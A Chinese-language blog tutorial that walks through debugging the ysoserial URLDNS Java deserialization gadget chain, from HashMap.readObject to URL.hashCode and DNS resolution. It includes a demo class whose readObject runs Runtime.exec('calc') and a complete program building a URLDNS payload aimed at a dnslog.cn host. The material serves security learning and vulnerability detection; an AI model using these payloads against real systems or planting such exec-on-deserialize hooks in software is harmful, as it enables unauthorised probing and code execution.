天天看點

Java反序列化(0):URLDNS的反序列化調試分析

作者:合天網安實驗室

URLDNS鍊子是Java反序列化分析的第0課,網上也有很多優質的分析文章。

筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。

一. Java反序列化前置知識

Java原生鍊序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實作Serializable接口,将對象轉化成位元組序列。
Java原生鍊反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實作将位元組序列轉化成對象。

測試源碼如下,此部分源碼參考了ol4three師傅的部落格:

package serialize;

import java.io.*;

public class deserTest implements Serializable {
    private int n;
    public deserTest(int n) {
        this.n=n;
    }

    @Override
    public String toString() {
        return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
                + super.toString() + "]";
    }

    // 反序列化
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();     
        Runtime.getRuntime().exec("calc");   
        System.out.println("test");
    }

    public static void main(String[] args) {
        deserTest x = new deserTest(5);
        operation1.ser(x);
        operation1.deser();
        x.toString();
    }
}


// 實作序列化和反序列化具體細節的類
class operation1{

    // 将輸出位元組流寫入檔案中進行封存
    public static void ser(Object obj) {
        // 序列化操作,寫操作
        try {
             // 首先檔案落地object.obj存儲輸出流,綁定輸出流           
            ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));

            // 重定向将輸出流位元組寫入檔案
            ooStream.writeObject(obj);
            
            ooStream.flush();
            ooStream.close();

        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        }
    }
    
    
    public static void deser() {
        // 反序列化,讀取操作
        try {
            // 綁定輸入流
            ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
            
            // 反序列化時需要從相關的檔案容器中讀取輸出的位元組流
            // 讀取位元組流操作為readObject,是以重寫readObject可以執行自定義代碼
            Object xObject = iiStream.readObject();
            iiStream.close();
        } catch (IOException e) {
            // TODO: handle exception
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}           
Java反序列化(0):URLDNS的反序列化調試分析

二. ysoserial環境搭建

IDE就直接用JetBrains的IDEA就行

直接拿Java安全payload內建化工具ysoserial進行分析,這裡面已經有現成的環境了

https://github.com/frohoff/ysoserial

注意配置好相應的JDK和SDK版本:

Java反序列化(0):URLDNS的反序列化調試分析

三. URLDNS攻擊鍊

  • • 影響的版本問題:與JDK版本無關,其攻擊鍊實作依賴于Java内置類,與第三方庫無關
  • • URLDNS這條反序列化鍊隻能發起DNS請求,無法進行其他利用,可以作為驗證是否有反序列化漏洞的姿勢

調試分析

Gadget Chain:

Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->

getHostAddress()

在getHostAddress函數中進行域名解析,進而可以被DNSLog平台捕獲

URLDNS程式入口

在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路徑下有URLDNS.java檔案

main主函數的run函數打斷點進入

Java反序列化(0):URLDNS的反序列化調試分析

這個ysoserial-master的payload運作結構大緻是有一個專門的PayloadRunner運作程式,然後統一調用來運作各部分的payload

首先是進行序列化:

Java反序列化(0):URLDNS的反序列化調試分析
Java反序列化(0):URLDNS的反序列化調試分析

繼續往下,生成command,由于是分析URLDNS攻擊鍊,是以隻需要修改将傳回值為dnslog的臨時位址

Java反序列化(0):URLDNS的反序列化調試分析

建立執行個體後,進入到URLDNS的getObject的payload函數

Java反序列化(0):URLDNS的反序列化調試分析

getObject函數中應該注意的是:聲明了HashMap對象和URL對象,并進行put哈希綁定,最後設定作用域

Java反序列化(0):URLDNS的反序列化調試分析
Java反序列化(0):URLDNS的反序列化調試分析

反序列化鍊子:

在反序列化入口處打斷點:

Java反序列化(0):URLDNS的反序列化調試分析

在反序列化時調用了readObject函數

Java反序列化(0):URLDNS的反序列化調試分析

然後進入HashMap.java的readObject函數

Java反序列化(0):URLDNS的反序列化調試分析

在readObject中調試到此行,了putval,在此處IDEA這個IDE可以選擇進入的函數,直接進入後者hash

由于我們讀入位元組序列,需要将其恢複成相應的對象結構,那麼就需要重新putval

Java反序列化(0):URLDNS的反序列化調試分析

傳入的key不為空,執行key.hashCode

Java反序列化(0):URLDNS的反序列化調試分析

進一步在URL.java檔案下

Java反序列化(0):URLDNS的反序列化調試分析

進入URLStreamHandler的hashCode

Java反序列化(0):URLDNS的反序列化調試分析
Java反序列化(0):URLDNS的反序列化調試分析
Java反序列化(0):URLDNS的反序列化調試分析

産生解析:

Java反序列化(0):URLDNS的反序列化調試分析

總的來說,利用鍊思路如下:

在反序列化URLDNS對象時,也需要反序列化HashMap對象,進而調用了HashMap.readObject()的重寫函數,重寫函數中調用了哈希表putval等的相關重構函數,在hashcode下調用了getHostAddress函數

那麼反之,為什麼首次聲明的時候沒有調用到了getHostAddress函數,現在給出聲明時的函數路線:

ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()

該函數為空實作

列出幾個路線上的關鍵函數看看:

Java反序列化(0):URLDNS的反序列化調試分析
Java反序列化(0):URLDNS的反序列化調試分析

由于此處key為String類型,則進入String.hashCode

Java反序列化(0):URLDNS的反序列化調試分析

相比之下,在反序列化中key為URL類型

Java反序列化(0):URLDNS的反序列化調試分析

設定了不發起dns解析

Java反序列化(0):URLDNS的反序列化調試分析
Java反序列化(0):URLDNS的反序列化調試分析

具體執行流,可以看下時序圖,我就不講了^^

Java反序列化(0):URLDNS的反序列化調試分析

四. URLDNS鍊的使用

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class Main{


    // 序列化前不發生dns解析
    static class SilentURLStreamHandler extends URLStreamHandler{
        protected URLConnection openConnection(URL n) throws IOException{
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL n)
        {
            return null;
        }
    }

    public static void main(String[] args) throws Exception{

        HashMap hashMap = new HashMap();

        // 設定put時不發起dns解析
        URLStreamHandler handler = new Main.SilentURLStreamHandler();
        URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);


        // 利用Java反射機制在動态執行時擷取類
        Class clazz = Class.forName("java.net.URL");
        Field f = clazz.getDeclaredField("hashCode");
        f.setAccessible(true);

        hashMap.put(url, "123");
        f.set(url, -1);

        // 對象輸出流綁定檔案輸出流
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap); // 序列化

        // 對象輸入流綁定檔案輸入流
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();   // 反序列化

    }

}           
Java反序列化(0):URLDNS的反序列化調試分析

繼續閱讀